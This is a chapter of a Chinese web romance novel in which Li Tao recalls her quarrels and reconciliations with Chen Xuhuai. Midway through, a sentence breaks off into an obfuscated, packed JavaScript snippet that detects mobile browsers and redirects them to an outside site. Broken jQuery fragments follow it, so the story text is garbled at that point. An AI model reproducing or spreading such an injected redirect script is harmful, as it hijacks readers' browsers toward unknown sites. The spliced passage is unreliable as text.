13. 第 13 章

作品:《娇气猫猫被迫驱邪

    黎桃坐上小车后座,司机一边开车,一边学舌报告:


    “小姐要离家出走……抽抽噎噎,可怜见儿地说什么,您既然要同别人好,她就不在家里碍眼了,她要找陈、陈先生去……”


    黎桃听着,心里觉得好笑:她何时要同别人好了,不过近日有个合作方,应酬多了点而已。自家闺女儿这个疑心重重、一点委屈都受不得的娇贵性子,也不知道是随了谁。


    “她要找陈叙淮,就叫她去。你们多派人跟着就好了,那是她亲爹,不用避讳成这样。”


    呃,也不知道前些天一听陈先生的名字就横眉竖眼的是谁。司机心中腹诽,但还是麻溜应了声好。


    黎桃目光移向窗外,想起在国外刚认识陈叙淮的日子。


    一个满心报国、英伟成熟、异常可靠的工程师,还拥有自己的小型飞机,几乎无所不能。


    理所当然地,她在一周之内就爱上了他。


    因为在父母重压下长大,她性子有点别扭,越喜欢一个人,就越不敢确定关系。尤其陈叙淮长得一表人才,看着就容易招蜂引蝶,她生怕自己沦为风流公子皮靴下的一朵残花,更坚定要同他保持距离。


    最后还是陈叙淮先忍不住,找到她问:“你怎么可以在救我一命、亲我一次之后就不理我了?是不是担心我不回国?我保证,我一定跟你一起回去——”


    “那是一场意外。”


    “救我还算是意外,亲我也是意外?”他大声嚷嚷,“当时病房里没有第三个人吧,你意思是冥冥之中有个鬼推了你一把,让你趴我身上非礼我啦?”


    “我哪有非礼你!”当时她把陈叙淮送进医院,他流了好多血,她看医生脸色不大好,还以为他救不过来,所以才一时没压抑住情绪,偷偷吻了他一下:“连舌头都没伸,算什么非礼——”


    陈叙淮扬起眉。


    奶奶的!黎桃后悔死了,她就不该多这个嘴!


    “那就是你实在爱我爱得没辙。”陈叙淮说,“没有第三种可能了。”


    谁说没有?黎桃拿出上街游/行、示威辩论的口才:“我、我那只是看你大难不死,为你高兴而已,换做任何一个朋友,我都会这么做的!这是我们法国同学教我的礼仪!”


    “真的?你会跟每个朋友都接吻吗,天啊,我不相信你竟然是这样的女子。”


    “我当然不是——别瞎说,你怎么不知羞的!”


    “你急了,因为我是对的。”陈叙淮得意洋洋地看着她:“承认吧,你就是喜欢我。”


    黎桃拗不过他,不情不愿地承认了。


    两人当天就确定了关系。


    后来她想,也许就是因为当初在一起太顺利,之后才会出现各种各样的问题。


    陈叙淮随意惯了,而她近乎偏执地要求生活中的一切井井有条;陈叙淮朋友遍天下,到处是勾肩搭背的好兄弟,而她距离感很强,闺中好友没几个;陈叙淮在爱情里举重若轻,好像很容易就能给出汹涌热烈的爱,而她瞻前顾后,说一句喜欢都能要了老命。


    他们两人成长环境、性格爱好天差地别,起摩擦简直是顺理成章的事,热恋的第一个月,黎桃就提了分手。


    -


    起因是某次两人在一起过夜,陈叙淮没留到第二天早上就走了。


    拔脚就走的行为十分熟练,像极了一个经验丰富的花花公子,而且太过轻佻,一看就不是认真谈恋爱的态度。


    她把陈叙淮约在咖啡厅,说要分手。陈叙淮大呼冤枉,解释他早走不是因为别的,而是看她太紧张了,觉得自己再待下去她会更紧张——


    “你一张脸绷得紧紧的,手脚都僵硬了,我想搂你进怀里,你差点给我一拳!我以为你不想让我留下!”


    “那是我以为你又想再来一次——”


    “我是想啊!你不想吗?”


    “我都快散架了,当然不想!”黎桃咬牙控诉,“你技术真差,净会用蛮力,真想不通风流名声哪里来的……扯远了,我要分手!”


    听她这话,陈叙淮却乐呵呵笑出声:“我不风流啊,那都是他们乱传的,你就为了这事生气啊?”


    黎桃:“我没生气!”


    “好,那你不生气了,能不能不分手?”


    黎桃被他套了进去,嘴还是很硬:“不能,就要分!”


    “那好吧。”陈叙淮叹口气,站起身来。


    没想到他这么爽快答应,黎桃心里一慌,但又不好意思开口挽留,指尖死死扣入掌心。


    他却并没有走,而是绕过桌子,走到黎桃面前来,微微笑着道:“分手就分手吧,你这么讨厌我的技术,我也没辙。”


    “但如果我保证我会逐渐进步,突飞猛进,总有一日能包您满意——看在我这么诚心的份上,我们可不可以现在复合?”


    黎桃抓紧时机点点头。


    陈叙淮笑了一声,挨着她坐下,把她整个人搂进怀里:


    “虽然你这个样子也很可爱,但以后你想要什么,能不能麻烦直接说?不然下次我要因为左脚先进门被分手,都不知道该怎么喊冤了。”


    “……”她想要什么,她想要他安安分分躺在她身边,两个人一起甜蜜睡到天明,但这话要怎么说,说出来太丢脸了!


    黎桃指使他帮自己揉着刚刚掐痛的掌心,暗暗发誓要守住这个秘密,但没过多久就在夜里招了供。


    陈叙淮就此退了自己的房子,搬来她这边住——因为她住处更大,离她的学校更近,他们可以多睡一会。


    -


    第一次分手坚持了半秒,第二次分手时间则长一点,足足有一天之久。


    起因是陈叙淮在酒吧里和一个德国佬打架,据围观群众交代,两人是争风吃醋打起来的。


    黎桃伯父正要和那德国佬父母合作,陈叙淮这一打,闹得非常不体面,害她被伯父疾言厉色训了一通。


    点头哈腰把伯父和德国佬送走,她转头就训陈叙淮:


    “那个鬼佬是给我递过情书,可我从来没回应过,跟他说话都没超过三句!你打人家干什么,是信不过我吗?”


    陈叙淮没有多解释,只说跟她没关系,他就是看那人不顺眼


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16130516|180278||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    。


    她险些被他这副混不吝的作风气死,大吵一架后又提了分手。这次陈叙淮没有哄她,她更生气了,给他带来的擦伤药一扔,踢开门就走。


    第二天她才得知内情,原来是德国人没追到她,面子上过不去,主动挑衅的陈叙淮。


    他以为陈叙淮不懂德语,用德语说了好些关于黎桃不堪入耳的话,末了用英语问他“我说得对不对”,被陈叙淮一拳砸在鼻梁。


    陈叙淮好心维护她的面子,她却一点没领情,还冲动分了手……


    黎桃后知后觉有点愧疚,一下午的专业课都没怎么认真听,掐着点跑出学校,去买了出餐速度最快的一家可丽饼。


    第一次主动求和,她站在陈叙淮门外,心里慌得要命,总担心他还在气头上,不肯给她开门怎么办……他租的房子不高,她倒是可以攀墙上去,但怀里那盒可丽饼肯定就要被压扁了。


    还好,陈叙淮没有拿乔,指使他收养的流浪狗毛毛给她开了门,但他自己仍半躺在扶手椅上,怎么叫也不起身。


    黎桃挨挨蹭蹭地靠近,托着可丽饼在他眼前晃:“我让多加了巧克力,可香了,你尝尝?”


    陈叙淮翻个白眼,扭过身不理她。


    “对不起。”黎桃小声说,“我错了,对不起。我应该好好想想的,不该误会你,但我一看到你受伤,我、我就什么脑子都没了,忍不住想发火——”


    陈叙淮说:“看得出来,火都发我头上了。”


    黎桃一时噎住,只会重复道:“对不起。我马上跟我大伯说,叫他找人狠狠揍那个鬼佬一顿!”


    见陈叙淮再没有不理她,黎桃小心翼翼拿起昨天带来的纱球,蘸取酒精擦过他手肘的伤处。


    酒精擦过的地方凉丝丝的,陈叙淮任由她伺候着,屈尊降贵咬了口可丽饼。


    然后一口吐了出来:“难吃死了!”


    黎桃有些手足无措,这是法国朋友推荐的一家可丽饼,据说用来道歉最好不过,因为这么甜蜜的滋味,任谁尝过都会忘了生气。


    但显然,这招对陈叙淮一点用都没有。


    “……那你想吃点什么,我给你做?”她眨巴着眼睛问。


    陈叙淮对她的手艺十分没有信心,不过还是站了起来,指导她做了一顿尚能入口的馄饨吃了。


    这餐过后,他便顺理成章不再生气,黎桃就此求和成功。


    -


    小车停在洋房花园外,黎桃没有下车,兀自盯着窗外,司机也不敢催她什么。


    如果说前两次分手都还算小打小闹,那么第三次分手,则是真的伤筋动骨。


    她从来没见过陈叙淮气成那样。


    之前她以为他是为了那个女人生气,但仔细想想,说不定是自己太过分,他忍了那么久,再也忍不下去了。


    好像他确实也没做错什么,不能总是他来哄她吧。


    黎桃抿了抿唇,推开车门走进家中,对迎上来诉苦的保姆说道:“孩子想她亲爹了……嗯,挺正常的,那就许她去找吧。”


    反正她自己也有点想了。